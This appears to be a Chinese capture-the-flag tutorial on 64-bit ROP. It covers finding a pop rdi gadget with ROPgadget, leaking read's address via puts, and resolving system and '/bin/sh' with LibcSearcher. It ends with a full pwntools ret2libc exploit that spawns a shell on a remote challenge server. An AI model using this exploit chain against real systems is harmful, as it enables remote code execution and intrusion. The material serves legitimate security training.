64位传参利用方法LibcSearcher使用入门ROPgadget利用
ROP,需要通過puts函數泄露read函數地址,ROP時用puts函數的地址覆蓋返回地址,用read函數的GOT表地址作為puts的參數傳入。但是64位程序的函數傳參是通過寄存器+堆棧的方式,因此無法直接通過棧溢出寫入參數。解決方法是:在程序中尋找一處pop %rdi的指令,將數據寫入rdi寄存器。
在程序中尋找pop %rdi需要一個叫ROPgadget的工具。
Linux指令:
ROPgadget --binary pwn | grep "pop rdi"
查到在程序的0x400763地址處存在一個pop rdi ; ret的指令。
可以先將rsp所指的那8個字節pop到rdi寄存器,然后再執行一個ret指令,正合我們的需求。
關于LibcSearcher的用法:
這個庫最好在Linux下用,Windows下會出一些問題
用已泄露的函數地址,如read_addr去匹配即可
libc = LibcSearcher("read", read_addr) # 獲取libc對象
libc.dump("read")可以獲取read在對應libc中的偏移
甚至還能直接獲取libc中的\bin\sh:
# 直接獲取/bin/sh地址
binsh_addr = libc.dump("str_bin_sh") + libc_base
完整代碼:
# -*- coding: utf-8 from pwn import * from LibcSearcher import * elf = ELF("pwn") puts_addr = elf.sym['puts'] read_got = elf.got['read'] poprdi_addr = 0x400763 # 在這個地方有指令:pop rdi; ret main_addr = 0x4006B8payload1 = "a" * 0x40 # rubbish payload1 += p64(0) # old rbp payload1 += p64(poprdi_addr) # 第一次返回到pop rdi的地方 payload1 += p64(read_got) # 這是puts的參數 payload1 += p64(puts_addr) payload1 += p64(main_addr) # puts函數的返回地址,重新進入main函數 payload1 += "b" * (200 - len(payload1))io = remote("111.200.241.244", 55160) io.send(payload1) io.recvline() read_addr = io.recvline().split("\n")[0] print(len(read_addr)) for i in range(len(read_addr), 8):read_addr += '\x00' # 補足8字節 read_addr = u64(read_addr) print(hex(read_addr))# 用LibcSearcher查詢函數,只需要傳入已經泄露的地址即可自動匹配 libc = LibcSearcher("read", read_addr) # 獲取libc對象 libc_base = read_addr - libc.dump("read") system_addr = libc_base + libc.dump("system")# 直接獲取/bin/sh地址 binsh_addr = libc.dump("str_bin_sh") + libc_base# 第二次需要調用system(binsh_addr) payload2 = "a" * 0x40 # rubbish payload2 += p64(0) # old rbp payload2 += p64(poprdi_addr) # 第一次返回到pop rdi的地方 payload2 += p64(binsh_addr) # 這是system的參數 payload2 += p64(system_addr) payload2 += p64(main_addr) # system函數的返回地址,重新進入main函數 payload2 += "b" * (200 - len(payload2)) io.send(payload2) io.interactive()總結
以上是生活随笔為你收集整理的64位传参利用方法LibcSearcher使用入门ROPgadget利用的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 字符串格式化漏洞修改GOT表一例
- 下一篇: 通过系统调用open来查看flag